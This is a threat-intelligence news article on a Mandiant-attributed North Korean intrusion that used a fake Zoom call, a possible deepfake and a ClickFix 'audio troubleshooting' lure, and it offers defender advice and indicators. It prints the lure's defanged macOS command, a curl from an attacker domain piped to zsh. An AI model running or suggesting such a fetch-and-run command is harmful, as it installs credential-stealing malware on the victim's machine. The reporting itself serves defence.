North Korea–linked threat actors are continuing to refine their playbook against cryptocurrency and decentralized finance (DeFi) targets.
In a recent incident response case, Mandiant attributed an intrusion at a FinTech organization to UNC1069, a financially motivated actor active since at least 2018, and observed seven malware families deployed during a single compromise an unusually heavy toolset aimed at stealing credentials, browser data, and session tokens for financial theft.
How The Intrusion Worked
The attack began with social engineering on Telegram. The victim was contacted by an account that appeared to belong to a crypto executive, but was believed to be compromised.
After building trust, the attacker sent a Calendly invite for a “30-minute meeting,” which led to a spoofed Zoom site hosted on the attacker’s infrastructure.
During the call, the victim reported seeing what appeared to be an AI-generated deepfake video of a well-known CEO.
Mandiant noted that it could not independently verify the deepfake using available forensic artifacts. However, the scenario aligns with broader reporting on AI-assisted lures.
The fake meeting then set up a ClickFix-style trick: the victim was told they had audio problems and was guided to run “troubleshooting” commands.
Hidden inside that copy-paste block was the real payload execution step that kicked off infection on macOS (and a parallel chain was prepared for Windows).
On macOS, the early stages included WAVESHAPER (backdoor) and HYPERCALL (downloader), which enabled hands-on activity through HIDDENCALL, then deployed the known downloader SUGARLOADER and additional tooling.
Mac commands:
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zshThree newly highlighted components included:
- SILENCELIFT: a lightweight backdoor that beacons host details to command-and-control (C2).
- DEEPBREATH: a Swift data stealer that targets sensitive stores (including keychain and browser data).
- CHROMEPUSH: a Chromium-focused data stealer that abuses browser extension/native messaging mechanisms to harvest cookies, credentials, and keystrokes.
This operation reflects a trend documented by Google Threat Intelligence Group: actors are moving from “AI for productivity” toward AI-enabled lures and deception used directly in active campaigns.
What Should Defenders Do Now?
- Harden “meeting” workflows: require verified domains for conferencing links, and block look-alike Zoom infrastructure at email/web gateways.
- Train against ClickFix: teach staff that “run these commands to fix audio/video” is a red flag especially during unsolicited calls.
- Monitor macOS telemetry: even without full EDR, Apple’s XProtect Behavioral Service can leave records in the XPdb database that help reconstruct execution timelines.
- Protect browser secrets: prioritize detection for cookie/session token theft and suspicious changes to Chrome/Brave extensions or native messaging hosts common paths to account takeover in crypto environments.
| Malware | SHA256 (sample) | Key Paths/C2 |
|---|---|---|
| DEEPBREATH | b452c2da… | /Library/Caches/System Settings |
| SUGARLOADER | 1a30d6cd… | /Library/OSRecovery/SystemUpdater; breakdream[.]com |
| WAVESHAPER | b5258372… | /Library/Caches/com.apple.mond |
| HYPERCALL | c8f7608d… | /Library/SystemSettings/…; supportzm[.]com |
| CHROMEPUSH | 603848f3… | Chrome NativeMessagingHosts/… |
| SILENCELIFT | c3e5d878… | /Library/Fonts/com.apple.logd; support-zoom[.]us |
Follow us on Google News , LinkedIn and X to Get More Instant Updates. Set Cyberpress as a Preferred Source in Google.
 targets){kind=link}